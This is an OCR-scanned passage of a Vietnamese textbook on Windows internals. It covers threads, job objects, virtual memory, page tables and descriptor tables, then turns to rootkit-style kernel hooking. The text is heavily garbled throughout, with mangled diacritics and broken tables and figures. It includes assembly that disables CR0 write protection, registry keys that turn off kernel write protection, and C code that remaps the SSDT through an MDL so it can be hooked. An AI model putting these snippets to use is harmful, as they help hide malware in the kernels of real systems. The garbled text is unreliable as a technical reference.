anh hudong dén toan bo cac ludng trong tién trinh dé, va tit ca cac ludng trong mét tién trinh

dung chung 1 gié tri thanh ghi CRS3.

2.4.4. Kiém tra hoat dong ciia mot ludng

Dé co thé xem thong tin ctia mdt luéng, st dung mdt tap cac cong cu dudi day:

Thudc tinh Perfmo | Pview | Pstat | Qslice | Tlist | KD Process | Pslis

n er Threa | Explore |t
d r

TheadlD ] ] ] ] ] O ]

Actual start add 0 (] (] (] 0 []

Win32 start add (] ] 0

Current address ] [] ] 0

S context switches | [ 0 0 0 ]

Total user time [] [] [] 0 []

Total privileged O O 0 0 0

time

Elapsed time 0 0 0 0 0

Thread state N [] [ [] []

Reason for wait | [J (] N [ O O

state

Last error 0 O

% CPU str dung 0 0 O

% User time su | [J 0 O

dung

% Previleged time | [J 0 O

sd

Hinh 2.18. Cdc céng cu kiém tra hoat déng ciia luong
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2.4.5. Ddi tugng cong viéc
Mot ddi tuong cong viéc la mot ddi tuong cua nhan cho phép diéu khién mét nhom co
nhi€u tién trinh. Mot tién trinh chi c6 thé 1a thanh vién cia mot doi tugng cong viéc duy nhat.
Mic dinh thi su lién két cac tién trinh trong 1 d6i twong Céng viéc khong thé pha huy duoc,
va tat ca cdc tién trinh dugc tao boi mdt tién trinh s€ nam trong doi tugng cong viéc ma ticn
trinh d6 dang lién két.
Bdng 2.16. Cdc ham qudn Iy doi twong Cong viéc

Ham Mo ta

CreateJobObject Tao mot doi twong cong viée.

OpenJobObject Mo d6i twong cong viée co san.

AssignProcessToJobObject | Thém mat tién trinh vao ddi twong cong viéc.

TerminateJobObject Durng tat c4 tién trinh trong d6i twong cong viéc.

SetInformationJobObject Thiét dat nhitng thong tin cua dbi twong cong viéc.

QueryInformationJobObject | Lay cac thong tin cta dbi twong cong viéc, nhu 1a thoi
gian dung CPU, s6 tién trinh, danh sach dinh danh cua
tién trinh, han ngach str dung, gidi han bado mat.

Ngoai ra, CPU va by nh¢ cling dugce gidi han cho mdi dbi tugng cong viéc. Cac gidi han bao
gém:

e Gidi han vé sb tién trinh dang hoat dong trong ddi tugng cong viéc.

e Gidi han vé thoi gian sir dung CPU caa mdi tién trinh trong ddi twong cdng viéc.

e Gidi han vé khoang thoi gian hoat dong cua mdi ludng trong ting tién trinh. Thong
qua cac 1op lich chay, c6 cac khoang thoi gian sau, tuan ty cho mdi ludng trong tién
trinh.

e Muc uu tién cho tién trinh trong mot déi tugng cong viéc: Mai tién trinh c6 mtc 6 uu
tién riéng va no khong ty dat dugoc mac d6 wu tién thong qua cac ham nhu
SetThreadPriority.

e Gidi han vé bo nhd: dinh ra khong gian dia chi a0 t6i da ma mdi tién trinh trong mot
cong viéc dugc dung.

Windows 2000 Datacenter Server c6 cong cu cho phép dinh nghia ra cac cong viéc, dat cac
han ngach va giéi han tai nguyén cho céac tién trinh trong cong viéc. D6 1a Process Control
Manager.

2.5. QUANLY BO NHO

2.5.1. B6 nh¢ danh cho hé théng

B6 nhé ao (Virtual Memory) duoc xdy dung trén khong gian dia chi tuyén tinh, cung
cép cho céc tién trinh nhitng ving nhé riéng, c6 thé 16n hon va khong twong tmg véi 16p bd
nh¢ vt 1y. Trong thoi diém thyc thi, chwong trinh quan 1y bd nhé s& anh xa ving dia chi ao
vao bd nhd vat 1y - noi ma dir licu thuc sy dugc luu trit. Hinh 2.19 mo ta viéc 3 trang nhd
lién tiép trong bd nhé 4o dugc anh xa vao 3 vung khac nhau cua b nho vat 1y.
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Virtual mermory

Phiysical memory

Hinh 2.19. M6 hinh anh xa twr bo nho ao sang bo nho vdt ly

Trong hé thong, tong bd nhé sir dung béi cac tién trinh 16n hon nhiéu so véi bd nhé
vat 1y ma hé théng d6 co, d6 1a do chuong trinh quan 1y bo nhd cta hé diéu hanh di chuyén
nhitng trang nhd xudng dia. Viéc sir dung dia dé luu trir di 1am tréng di ving bd nhd vat 1y va
né ¢6 thé duoc ding cho céc tién trinh khac. Khi mot ludng truy cip vao ving nhd 40 ma né
dang ¢ trén dia thi chuong trinh quan 1y b nhd cta hé diéu hanh s& nap lai vao trong bo nhé
vat ly.

Kich thuéc ctia khong gian b nhé ao thay doi tiy theo nén tang phan cing. Trong hé
thong 32 bit, khong gian bd nhé 16n nhét cho phép 1a 4GB. Windows chia lam 2 phan, ving
b6 nhé thép tir 0x00000000 dén 0x7FFFFFFF danh cho cac tién trinh dang thuc thi, va phén
cao tir 0x80000000 dén OxFFFFFFFF 1a ving bd nh¢ duoc bao vé dung cho hé diéu hanh.
Hinh duédi ddy mé ta dai dia chi danh cho céc tién trinh dang thyc thi va dai dia chi dung cho
hé thong. O bén phai, cac tién trinh cia ngudi dung duoc cung cap dén 3GB b nhé bang cach
dat tuy chon ( /3GB /USERVA trong file Boot.ini), ty chon nay cho phép tng dung dung
nhiéu tai nguyén nhu Quan Iy co so dit liéu co thé sir dung nhiéu hon 2GB cho phép dé luu
trtr dit liéu trong bd nhd dé phuc vu cho xu ly.

Cefault 3 GB user space
2 GB User 3 GB User
PrOCass space Procass space
2 GB System 1GB System
space space

Hinh 2.20. Cdc kiéu phdn bé bg nhé danh cho cdc tién trinh dang thue thi va ding cho hé
thong
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Ngoai ra, hé diéu hanh Windows 32 bit con cung cép co ché AWE(Address Windowing
Extension) cho phép tmg dung 32bit c6 thé cap phat dugc téi da 64GB bo nhd, mdi mot don
vi 4nh xa c6 kich thudc khong gian dia chi 4o 1a 2GB. Hé diéu hanh Windows 64bit cung cap
khéng gian dia chi cho cac tién trinh 16n hon nhiéu, t6i da 13 8192GB trén mdi x86 va 7152
trén moi dong vi xtr 1y Itanium

xhd [tanium
BloZ GB 7152 GB
% TE) User (7 TE) User
[rocess space procass space
ahh 7 GB 6144 GB
oy stern space oystern space

Hinh 2.21. Co ché AWE(Address Windowing Extension)

2.5.2. Cacdich vu quan ly bé nhé
Mic dinh, hé diéu hanh Windows 32bit c6 bd nhd ao kich thude 1a 2GB. Quan ly b nhé
gdm c6 2 nhiém vu chinh sau day:

e Anh xa khong gian dia chi cua tién trinh vao bo nhé vat 1y sao cho qua trinh doc/ghi
cta cac ludng trong tién trinh thuc hién trén dia chi a0 dugc tham chiéu dang din dén
dia chi vat ly.

e Anh xa mét phan cua b nhd xudng dia dé ting kha ning sur dung cac tién trinh ma
dung bo nhé vat ly nhiéu hon luong dang san sang va anh xa nguoc tré lai bo nhé khi

can.

Céc thanh phan cua quan 1y bo nhoé:

e Mot tap cac dich vu cua hé thong dé cip phat, hay, quan Iy b nhd 4o, hau hét déu
dugc thé hién dudi dang ham APl cua Windows hay dang trinh diéu khién thiét bi
hoat dong ¢ kernel mode.

e Céac chuong trinh quan ly 15i trong qua trinh hoat dong.

e Mot vai thanh phan tién ich hoat dong & kernel mode

@)
@)

Working set manager: Quan ly tap cac céng viéc

Process/stack swapper: Thuc hién trao doi stack cho tién trinh va cac ludng cua
nhan

Modified page writer: Ghi trang nhg trong mét danh sach cac trang dang thay
d6i vao paging file.

Mapped page writer: Ghi nhitng trang nhé vao tép tin trén dia, muc dich dé
giam danh sach nhiing trang dang dugc thay doi.

Dereference segment thread: Lam giam bo nhé cache dé tiang ving tronng
trong page file.

Zero page thread: x6a danh sach c4c trang nhé dang tréng vé 0.
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2.5.3. Cac bang quan 1y dia chi b nhé

Hé diéu hanh Windows st dung rat nhiéu bang dé quan 1y vi trong qua trinh hoat dong,
CPU phai dua ra rat nhiéu quyét dinh, vi vy can nhiéu bang dé dinh hudéng CPU. Vi du nhu
CPU phai lam gi khi c6 ngét, khi ¢6 mdt chuong trinh bi dirng hoat dong, khi c6 mot chuong
trinh & user mode mudn lién lac voi chuong trinh ¢ kernel mode. DPéi véi mdi mot sy kién,
CPU ludn phai tim ra dugc nhitng thu tuc nao dé xu 1y su kién do, cu thé hon CPU can biét
thong tin ctia cac thu tuc ndm trén b nhd, dé 1am viéc nay thi CPU thudng dung bang dia chi.
C6 nhing bang dia chi co ban sau day ton tai trong bd nhé:

e Global Descriptor Table (GDT), sir dung dé anh xa céac dia chi toan cuc, nhiéu dai dia
chi khac nhau cé thé anh xa duogc thong qua GDT. GDT dugc ding trong chuyén dbi
qua lai gitra cac task.

e Local Descriptor Table (LDT), sir dung dé &nh xa cac dia chi cuc bo, diing cho mdi
task. LDT c6 thé chira cac thong tin chi dan dia chi gidng nhu GDT.

e Page Directory, sir dung dé anh xa dia chi

e Interrupt Descriptor Table (IDT), tim c4c chuong trinh con xt ly ngat.

Ngoai ra, hé¢ diéu hanh ciing c6 cic bang riéng nhu System Service Dispatch Table

(SSDT), duoc ding dé quan 1y cac 101 goi hé thdng. Co6 2 cach dé goi dich vu, d6 1 ding ngat
0x2E hodc dung lénh SYSENTER. Béi véi hé théng Windows XP trg 1én thi dung
SYSENTER con d6i v6i cac hé diéu hanh cii hon thi ding ngat 0x2E. Mbi khi goi hé thong
thi ham KiSystemService dugc goi tir trong nhan, ham nay thuc hién cong viéc doc s6 hiéu
dich vu can goi ¢ thanh ghi EAX, sau d6 tim goi ham dich vu trong SSDT. Céc tham s6 di
kém duoc tro bai thanh ghi EDX, do d6 rootkit c6 thé sir dung k¥ thuat hook dé 1dy dir liéu,
thay d6i tham s6 hodc dinh hudng lai 101 goi dich vu.
Mot churong trinh ¢6 thé dung far call v6i cac chi dan & LDT hay GDT, chi dan loai nay goi 1a
call gate. Mot call gate duge dung dé cho phép tmg dung & user mode c6 thé goi ham trong
kernel mode, nhung call gate phai dugc can thi€p sao cho c6 Ring & muc 0 (cach can thi¢p 1a
str dung nhitng 16i sinh ra ngoai 1¢ lic thuc hién far call)

2.5.4. Trang nhé

Tat ca bo nhé dia chia ra 1am nhimng trang nhg, twong ty nhu nhiing trang ciia mot
quyén sach. Mdi tién trinh ¢6 thé co nhimng bang riéng luu nhimg trang nhé ciia n6, do vay ma
dbi véi tién trinh nay dia chi 0x00401122 doc ra c6 gia tri “AAA” nhung d6i véi tién trinh
khéc dia chi d6 doc ra lai 1a “BBB”.

Quyén truy cap ciing duoc gan vao mdi trang nhd, dé doc ghi vao dung trang nhd can
yéu cau dén chuong trinh quan 1y bd nhd, néu dia chi yéu ciu bi sai thi khong duoc quyén
truy cap. Qua trinh kiém tra nay phai qua nhiéu thu tuc. Dau tién, CPU kiém tra tién trinh xem
¢6 thé mo duge bang mo ta hay khong, sau d6 kiém tra tién trinh d6 c¢6 quyén doc mét trang
trong thu myc trang nhé hay khong, cudi cung kiém tra tién trinh doc diing trang hay khong.
Mot tién trinh ma vuot qua tit ca kiém tra d6 cia CPU méi dugc doc vao ding trang nho.
Viéc duge doc chua chic da duge ghi vao trang nhé do, vi ¢ thé trang nh¢ dugce danh diu 1a
chi doc (read-only).
bé truy nhap dugc vao moét trang nhd, b xtr Iy x86 thuc hién cac budc kiém tra sau:

e Descriptor (hay segment) check: Bang chi dan toan cuc GDT dugc truy nhap va mot
chi dan doan(segment descriptor) duoc kiém tra. Mot chi dan doan chira gia tri duoc
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murc d6 dac quyén chi dan (descriptor privilege level - DPL). DPL chta sb Ring (tir 0
dén 3) caa tién trinh yéu cau doc trang nhé. Néu gia tri DPL ma thp hon gié tri Ring
cua tién trinh yéu cau doc trang nhé (Current Privilege Level - CPL) thi truy nhap bi
tir chdi, qua trinh kiém tra bi dirng tai day.

e Kiém tra thy muc nhé (Page directory) check: Kiém tra bit user/supervisor cia mot
trang nhé. Néu bit d6 dat 1a 0 thi chi c6 nhimng chuong trinh & Ring 0, 1 va 2 duoc
quyén truy nhap thu muc nhé. Néu bit d6 dugc dat 1a 1 thi tt ca cac chwong trinh déu
c6 quyén truy nhap.

e Kiém tra theo trang: Viéc kiém tra nay thuc hién trén 1 trang nhé. Tuong tu nhu kiém
tra theo thu muc nhd, néu trang nhé c6 bit user/supervisor duge dat 1a 1 thi tit ca cac
chuong trinh déu c6 quyén truy nhap.

Hé diéu hanh Windows do chia thanh 2 mode 13 user mode va kernel mode nén buéc dau tién
1a Descriptor check d6i khi khong can thiét, vi chwong trinh ¢ user mode hoat dong trén Ring
3 s& chi duoc quyén truy nhap ving nhé danh ddu 13 cia user, con chuong trinh hoat dong
trén kernel mode [udn ludn truy nhdp dugc moi trang nhd.

Hinh 2.22 1a 1 ph'?ln cua GDT dugc trich ra st dung Softlce. Cot déu tién thé hién cac
phén ctia bd nhé danh cho dit lidu va code, cot DPL biéu thi gia tri Ring 0 hodc 3. DPdi voi mé
thi thudc tinh c6 thé c6 1a Poc va Thuc thi (RE) con d6i v6i dir lidu thi thudce tinh cao nhat 1a
boc va ghi (RW).

Sel.—Type Base——Limit DPL—Attributes

GDThaze=B0036000 Limit=03FF

Code3d2
Data3dZ
Code32

Data3dZ
TS532
Data3iZ
Data3iZ
0043w Datalb

elalelelalelaly]
elolelelalelole]
elelolalalelele)
elelolalalelole)
80ZA9000
FFDFFORG
EE0EERHEE
EO0EE4060

FFFFFFFF
FFFFFFFF
FFFFFFFF
FFFFFFFF
OREORZOAB
OREOA1FFF
OEOEEFFF
OOOOFFFF

WD oW oo

g g g g e

RE
RW
RE
RY
B

RU
RU
RU

Hinh 2.22. M¢t s6 gid tri cia GDT trong Windows

2.5.5. Phan giai dia chi

Hau hét cac hé diéu hanh déu cho phép sir dung bo nhé 4o, 1am cho kha ning cung cip
bo nhé 16n hon so voi kha ning vat 1y ciia hé thong. Phan mé rong dugce luu trén céc tép trén
dia (thuong duoc goi la paging file).
Mot trang nhé c6 thé dugc déanh dau 1a “paged out”, c6 nghia 1a dugc luu trén dia thay vi trén
RAM. Néu trang nhé nay dugc mét tién trinh nao d6 yéu cau truy nhap thi b xir 1y s& ngat,
chuong trinh con xtr Iy ngét s& doc né tro lai bd nhd va danh dau lai 1a “paged in”.

Khi mot chuong trinh doc by nhd, né phai chi ra mdt dia chi cu thé nao do. Boi voi
mdi tién trinh, dia chi ndo phai duoc dich sang dia chi vat Iy. Cong viéc nay rat quan trong vi
dia chi sir dung boi tién trinh khong phai 1a dia chi vat 1y twong tmg. Vi du, néu chuong trinh
notepad tim by nhé & dia chi 0x0041FF10 va dia chi vat 1y dich sang tuong Ung la
0x01EE2F10, néu 1énh “mov eax, 0x0041FF10” duoc thyc hién thi gid tri thuc té duoc
chuyén vao trong EAX 1 gia tri trong 6 nhd c6 dia chi 0x01EE2F10.
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mov eax, 0x0041FF10

. i

Page table translation... i
J —~a! OXO1EE2F10

0Ox11223344

EAX
Ox11223344 +———/

Hinh 2.23. Phan giai dia chi

2.5.6. Bang trang nho

Viéc dich cac dia chi dugc quan ly thong qua mot bang dac biét goi la page-table
directory. CPU x86 cuia Intel luu cac con tro dén nhung thu myc trang trong cac thanh ghi dic
biét CR3. Thanh ghi niy lai tro6 dén mot mang gdm 1024 gia tri 32bit goi 1a thu myc trang
(page directory). Mdi gia tri 32bit chi ra dia chi co s ctia mot bang céc trang trong b nhé vat
1y, bao gdm ludn ca bit trang thai & xem trang nay c6 ton tai trén bo nhé vat 1y hay khong.

CR3

Physical Memaory

Fage
Directory

(1024
32-bit values)

[

D]

O

S Disk Storage
I

I e
I- ““““““““ l“'"---‘_‘_________.---’/
—

I

T

e

Hinh 2.24. Qud trinh tim ra trang nhé yéu cau boi vmg dung
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Céc tién trinh gui dja chi yéu cau tim ra trang nhé theo khuén dang sau

Bdng 2.17. Khuén dang lénh yéu cau tim trang nhé

31 |22 ] 21 (12 ] 11 |0
Page Directory Index (t6i da | Page Table Index (t6i da 1024) | Vi tri trong trang (t6i
1a 1024) da 4096)

Sau déy 14 nhitng budc ma CPU va hé diéu hanh thuc hién dé dich mot yéu cau tir dia chi 4o
sang dia chi vat ly:
e CPU tham khao tir CR3 dé tim ra dia chi co s cua page-table directory
e Dija chi yau cau duoc chia thanh 3 phan nhu bang trén
e 10 bit dau dwoc dung dé tim dja chi cua page-table directory
e Sau khi thu myc trang duoc xac dinh vi tri, 10 bit tiép theo s& xac dinh chi muc & bang
trang
e Dia chi vat ly dugc tim ra nho chi muc ¢ trong trang
e 12 bit cudi la phan dia chi dung dé xac dinh offset trong trang nhé vat ly (t6i da
4096bytes), trong d6 luu dir liéu yéu cau ctua chuong trinh.

bia chi yéu cAu tir cac chuong trinh goi 1a dia chi 4o, dia chi d6 can duoc dich sang dia chi
that (dia chi vat 1y). Chi can qua mdt vai budc don gidn la dia chi 4o s€ dugc dich sang dia chi
vat 1y, va toan bd dit liéu déu co thé can thiép bai rootkit.

2.5.7.  Phan ti thu muc trang nhé va phan tr bang trang nhé

Chi tiét cac bit ciia timg phan tir trong thu muyc trang: Thu muc trang 1a mdt mang gom
céc phan tir trang. Khi mot phan tir duoc truy nhap, bit thir 2 (bit U) s& dugc kiém tra. Néu nd
duoc dat 1a 0 thi chi c6 tién trinh thudc kernel mode méi c6 thé truy nhap.

Bdng 2.18. Cdc bit ciia mgt phan tir trong thu muc trang

31 \ 12 11/9/8|7(6|514|3]2|1]|0
Page  Table Base O|P|OJA|P|P|U|W|P
Address S C|W

D| T

Bit 1 cling dugc kiém tra, néu no dat 1a 0 thi bd nhé chi doc. Do phﬁn tor thu muyc trang tro dén
bang trang cho nén nhiing thiét 1ap ctia phan tir thu myc trang ciing ap dung cho bang trang.
Phan tir bang trang: mot phan tir bang trang tré dén mot trang nhé. Bit U x4c dinh quyén truy
cap cho chuong trinh & kernel mode. Bit W xac dinh kha ning doc/ghi trang nhé. Bit P néu 1a
0 thi trang nhé di dugc ghi 1én dia, néu trang nhé dugc yéu cau ghi ¢ trén dia thi no phai
dugc page-in vao bd nhg dé co thé tiép tuc duoc sir dung.

Trong hé diéu hanh Windows, mot sb trang nhé chira SSDT va IDT duogc dat 1a chi
doc. Néu mudn thay doi nhiing trang nay thi can phai chuyén trang d6 thanh doc/ghi dugc.
Céach t6t nhét hién tai ma rootkit co thé thuc hién do 1a st dung k¥ thuat CRO s€ dugc trinh
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bay ¢ phan Cac k¥ thuat cua Rootkit. Cach khac ¢ thé 1am cho nhiing trang nhé d6 c6 thé
doc/ghi dugc 14 thay dbi 2 khoa sau trong Registry:

HKLM\SY STEM\CurrentControlSet\Control\Session Manager\Memory
Management\EnforceWriteProtection = 0
HKLM\SY STEM\CurrentControlSet\Control\Session Manager\Memory
Management\DisablePagingExecutive = 1

2.5.8. Patién trinh va da thu muc trang nhé

Trén ly thuyét chi can mot thu muc trang l1a hé diéu hanh c6 thé phuc vu cho nhiéu tién
trinh, bao v€ bo nhod gitra cac tién trinh va ghi trang nh¢ 1€n dia. Nhung chi véi mét thu muc
nh¢ thi chi c6 mdt anh xa duy nhét cho bd nhé ao, nghia 1a cac tién trinh chia sé cung mat
vung nhd, nhung trong hé diéu hanh Windows NT/2000/XP/2003 méi tién trinh c6 mot ving
nhd riéng.

Dia chi bat dau cua hau hét cac chuong trinh 13 0x00400000, 1am cach nao dé Windows co
thé cho phép nhiéu tién trinh cling c6 mot dia chi béit dau, d6 chinh 1a k¥ thuat st dung nhiéu
thu myc trang nhé.

MBJi tién trinh trong h¢ théng st dung mot thu muc trang nhg, mdi tién trinh c6 gia tri
thanh ghi CR3 riéng. Do viy ma dia chi bat diu cia mdi tién trinh gidng nhau nhung lai dugc
dich ra 2 dia chi vat 1y khac nhau. Do vy ma tién trinh ndy khong thé nhin thiy ving nhé cua
tién trinh kia.

Ving nhé trén 0x7FFFFFFF danh cho nhan. Mic du chay & Ring 0 nhung cac tién
trinh van phai c6 ngir canh cho tién trinh (cac thanh ghi, access token va cc tham s6 Khac),
bén canh d6 ngit canh tién trinh ciing bao gom ca thanh ghi CR3. Dé phat trién rootkit thi kha
nang can thiép vao céac trang nhé cho tién trinh khong chi anh hudng dén cac tién trinh & user
mode ma con anh huong dén tién trinh & kernel mode.

2.5.9. Céc thanh ghi diéu khién

Nhin tir phia cac bang hé théng thi chi c6 mot vai thanh ghi diéu khién quan trong chi
phdi hoat dong ciia CPU. Nhiing thanh ghi nay c6 thé dugc sir dung boi rootkit.
Céc thanh ghi diéu khién dugc gi6i thiéu tir nhitng bd vi xir Iy 286, ¢6 tén 1a “machine status
word”. Sau d6 tir cac hé théng 386, no dugc dbi tén thanh “Control Register” (CR - Thanh ghi
diéu khién). Pén nhiing hé thong 486, bit bao vé ghi vao bo nhé (Write Protect bit) duoc thém
vao thanh ghi diéu khién s6 0 (CRO). Bit WP néu dugc dit 1a 0 thi CPU c6 kha ning ghi vao
nhiing trang nhé dugc danh déau 1a chi doc (read-only). Didu nay rat quan trong vdi rootkit vi
n6 c6 thé ghi vao dugc phan dit liéu ciia hé thong.

Poan ma sau l1a k¥ thuat CRO, cam chure nang bao v€ by nh&

// Cam chirc ning bao vé bd nhé
__asm
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{

push eax
mov eax, CRO
and eax, OFFFEFFFFh
mov CRO, eax
pop eax

}

// thuc hién viéc doc ghi tuy y

// Cho phép lai chirc ndng bao v€ bo nhé
asm

-

push eax

mov eax, CRO

or eax, NOT OFFFEFFFFh
mov CRO, eax

pop eax

}

Ngoai CRO 0, ciing c6 mdt vai CR khac nhu:

CR1: khong str dung

CR2: sir dung khi CPU hoat dong & protect mode, n6 luu dia chi ctia trang nhé ma gay ra 16i
trang.

CR3: luu dia chi cua thu muc trang

CR4: chua duoc dung

Thanh ghi EFLAGS: Diéu khién c& bay, khi ma cd nay dugc dat thi CPU sé chay.

2.6. KERNEL HOOK

2.6.1. Vung nh¢é cua kernel

Ving nhé cia kernel trong hé thong x86 tir dia chi 0x80000000, néu trong khi khoi

dong hé diéu hanh Windows ma c6 tham s6 /3GB thi dia chi cua vung nhé kernel s€ tir
0xC0000000.
Theo qui tic chung ctia hé thong thi tién trinh khong thé truy nhap vao ving nhé cua kernel,
trir nhitng truong hop “call gate” (xem muc 2.5.3, chi tiét hon & IA-32 Intel Architecture
Software Developer's Manual, Volume 3, Section 4.8) duogc thiét 1ap hodc mét tién trinh co
quyén debug cac ham APIL Dé c6 duge kha ning truy nhap vao ving nhd cia kernel thi
rootkit phai dugc cai dat dudi dang mot trinh diéu khién thiét bi.

2.6.2. Cac nhdm ham trong lap trinh windows kernel
Danh sach chi tiét cac ham

C6 thé xem danh sach chi tiét cac ham duoc export trong file
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C:\Windows\System32\ntd1l.dll bang cach st dung IDA. Kéo tha file ntdll.dll vao IDA va
chon menu Navigate -> Jump To -> Function, s€ hién ra danh sach cac ham export tir DLL
nay.

Crs - Client Server Run Time: Sir dung dé hook nhing hoat dong client/server

. CsrClientCallServer
. CsrCaptureMessageBuffer
. CsrConnectClientToServer

. CrsNewThread
Dbg — Debug Manager: Hook cac hoat dong debug ctia hé théng
. DbgBreakPoint
. DbgUserBreakPoint
. DbgPrint
. DbgUiConnectToDbg

Etw — Event Tracing for Windows: Hook cac ham theo ddi vét

. EtwTraceEvent
. EtwEnableTrace
. EtwGetTraceEnableLevel
. EtwGetTraceEnableFlags
Ki — Kernel: Nhitng ham dugc goi tir nhan
. KiUserCallbackDispatcher
. KiRaiseUserExceptionDispatcher
. KiUserApcDispatcher
. KiUserExceptionDispatcher

Ldr — Loader Manager: Hook nhitng ham loader
. LdrinitializeThunk
. LdrLockLoaderLock
. LdrUnlockLoaderLock
. LdrGetDlIHandle
. LdrGetProcedureAddress
Pfx — ANSI Prefix Manager: Hook nhitng ham thao tac trén chudi dang ANSI

. PfxInitialize
o PfxRemovePrefix
. PfxInsertPrefix

o PfxFindPrefix

Rtl — Runtime Library: Dung cho cac hoat dong sau:

. Khoi tao va lam viée vdi chudi

. Khéi tao va 1am viée voi tién trinh

. Khoi tao va lam viée véi cac tai nguyén

. Khoi tao va lam viéc voi critical sections object
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Critical section object 1a mot dbi twong cung cap su dong b gidng nhu ddi twong mutex
hodc doi tuong semaphore cua Windows, bao gom viéc quan ly viéc chia sé cac tai
nguyén cho céc tién trinh dung chung.

Khoi tao va lam viée véi security objects
Cac thao tac voi bo nhd

Céc thao tac véi céc kiéu dit liéu

Xu 1y cac ngoai 1¢

Xu ly truy nhap

Xt 1y thoi gian

Cac thao tac trén bd nhd heap

Cac thao tac nén va giai nén

Céc hoat dong trén [Pv4 va IPv6

Zw - File and Registry: Cac thao tac trén tép va registry

Cac thao tac trén File

Céc thao téc trén Registry
Xu ly truy nhap

Xu 1y thoi gian

Xu 1y su kién

Token operations

Thao tac trén cac tién trinh

Thao tac trén cong

2.6.3.  Hook bang chi dan dich vu hé théng — ssdt
Bang chi dan dich vu hé théng Iuu dia chi cta cac ham thuc hién dich vu hé théng,

bang nay chi muc boi sb hiéu dich vu dé tim ra dia chi cua dich vu can g0i, cac tham sb truyén

cho dich vu luu ¢ bang tham s6 dich vu hé théng (System Service Parameter Table - SSPT).

KeServiceDescriptorTable 1a mot bang cua Kernel. Bang nay chira mét con tré tré dén SSDT
gdm nhitng dich vu cdt 16i cia hé thdng trong Ntoskrnl.exe. KeServiceDescriptorTable ciing
¢6 mot con tro tro dén SSPT.
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KeServiceDescriptorTable System Service Dispatch Table
o > 804AB3BF BO4AEBEB 804BDEF3 80508034
B04C11F4 80459214
ServiceCounterTable
00000000
MumberOfServices
F8
®
18 20 2C 2C
40 2C ...

Hinh 2.25. Cdu triic bang mé ta dich vu hé thong

Bang SSDT trén hinh luu nhimng dia chi cta timg ham trong kernel. Mdi dia chi dai 4 bytes. O
dudi 1a bang SSPT(System Service Paramenter Table), mdi phan tir 1a 1 byte dang hexa chi
kich thudc tham sb ciia mdi ham. Vi du trén hinh ham & dia chi 0x804AB3BF nhén 0x18 byte
tham s6. Ngoai ra ciing c6 1 bang khac goi 14 bang KeServiceDescriptorTableShadow luu dia
chi cua cac dich vu User va GDI trong kernel driver Win32.sys.

Loi goi dich vu hé théng duoc guri di khi co ngét 0x2E hodc Iénh SYSENTER duogc goi. Trinh
chuyén yéu cau goi dich vu s& chuyén dén cho kernel. Cac hé thong con(vi du nhu Win32) ¢
thé goi truc tiép KiSystemService trong Ntdll.dll va nap s6 hiéu dich vu vao EAX, thanh ghi
EDX s& luu dia chi cta cac tham s trong user mode.

Khi rootkit dugc nap dudi dang trinh diéu khién thiét bi vao hé thong thi n6 c6 thé
thay d6i dugc SSDT, do vay cic ing dung mudn xem céac thong tin hé thong co thé bi rootkit
hook cac ham can thiét dé che d4u chinh no.

Dé thyc hién thay d6i bang SSDT, bo phat trién trinh diéu khién thiét bi (DDK) cung

cap ham KeServiceDesciptorTable dé truy nhap vao bang niy, tuy nhién viéc thay doi gip
phai khé khin véi co ché bao vé bd nhé ciia nhan (Kernel Memory Protection). Tuy nhién
trong muc 2.5.9 c6 trinh bay k¥ thuat CRO dé vuot qua co ché bao vé bd nhé cia Windows.
Néu khong sir dung CRO thi khi mot tién trinh binh thuong ghi vao ving nhé chi doc s& gay
ra hién tuong “man hinh xanh” (BSoD — Blue Screen of Death).
Memory Descriptor List (MDL) & mét cau tric mé ta mot ving nhd. MDL chira dia chi bat
dau, tién trinh s¢ hitu né, sd byte va cac co lién quan dén n6. Dé tranh nhiing 16i phat sinh va
loasi bd co ché biao vé bd nhé cua nhan, chung ta tao mot MDL bfmg
KeServiceDescriptorTable va ham MmBuildMdIForNonPagedPool, sau d6 dat lai co
MdIFlags MDL MAPPED TO SYSTEM_ VA. Sau do6 khoa trang nhé tré bé1 MDL trong b
nh¢ boi ham MmMapLockedPages.
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Memory Descriptor List
Virtual Memory Next

Chuong 2

Physical Memory

Size

MdIFlags

Process
MappedSystemVa
— StartVa

— ByteCount

Physical Memory

ByteOffset
Physical Address 1 —
Physical Address 2 —
Physical Address 3 ]

A

Physical Memory

Hinh 2.26. C4u tric mét MDL

MDL ¢6 cAu truc:

typedef struct _ MDL {

struct _MDL *Next;
CSHORT Size;

CSHORT MdIFlags;

struct _EPROCESS *Process;
PVOID MappedSystemVa;l
PVOID StartVa;

ULONG ByteCount;
ULONG ByteOffset;

} MDL, *PMDL,;

#define MDL_MAPPED_TO_SYSTEM_VA 0x0001
#define MDL_PAGES_LOCKED 0x0002

#define MDL_SOURCE_IS_NONPAGED_POOL 0x0004
#define MDL_ALLOCATED_FIXED_SIZE 0x0008
#define MDL_PARTIAL 0x0010

#define MDL_PARTIAL_HAS_BEEN_MAPPED 0x0020
#define MDL_IO_PAGE_READ 0x0040

#define MDL_WRITE_OPERATION 0x0080

#define MDL_PARENT_MAPPED_SYSTEM_VA 0x0100
#define MDL_FREE_EXTRA_PTES 0x0200
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#define MDL_IO_SPACE 0x0800

#define MDL_NETWORK_HEADER 0x1000

#define MDL_MAPPING_CAN_FAIL 0x2000

#define MDL_ALLOCATED_MUST_SUCCEED 0x4000

#define MDL_MAPPING_FLAGS (MDL_MAPPED_TO_SYSTEM_VA |\
MDL_PAGES_LOCKED |\

MDL_SOURCE_IS_NONPAGED_POOL |\
MDL_PARTIAL_HAS_BEEN_MAPPED |\
MDL_PARENT_MAPPED_SYSTEM_VA |\

MDL_SYSTEM_VA |\

MDL_IO_SPACE)

Cac MDL dung dé anh xa ving nhé 4o véi nhitng trang nhé vat 1y, néu mot MDL tro dén 1
trang nhd ma c6 MDLFlags dat la MDL MAPPED TO SYSTEM_ VA thi trang nhd do
khong con 1a read-only va ta c¢6 thé thyc hién hook

#pragma pack(1)

typedef struct ServiceDescriptorEntry
{
unsigned int *ServiceTableBase;

unsigned int *ServiceCounterTableBase;

unsigned int NumberOfServices;

unsigned char *ParamTableBase;

} ServiceDescriptorTableEntry t, *PServiceDescriptorTableEntry t;

#pragma pack()

__declspec(dllimport) ServiceDescriptorTableEntry t KeServiceDescriptorTable;

PVOID* NewSystemCallTable;

PMDL pMyMDL = MmCreateMdI( NULL,
KeServiceDescriptorTable.ServiceTableBase,
KeServiceDescriptorTable.NumberOfServices * 4 );
MmBuildMdIForNonPagedPool( pMyMDL );

pMyMDL->MdlIFlags = pMyMDL->MdIFlags | MDL_MAPPED_TO_SYSTEM_VA;
NewSystemCallTable = MmMapLockedPages( pMyMDL, KernelMode );

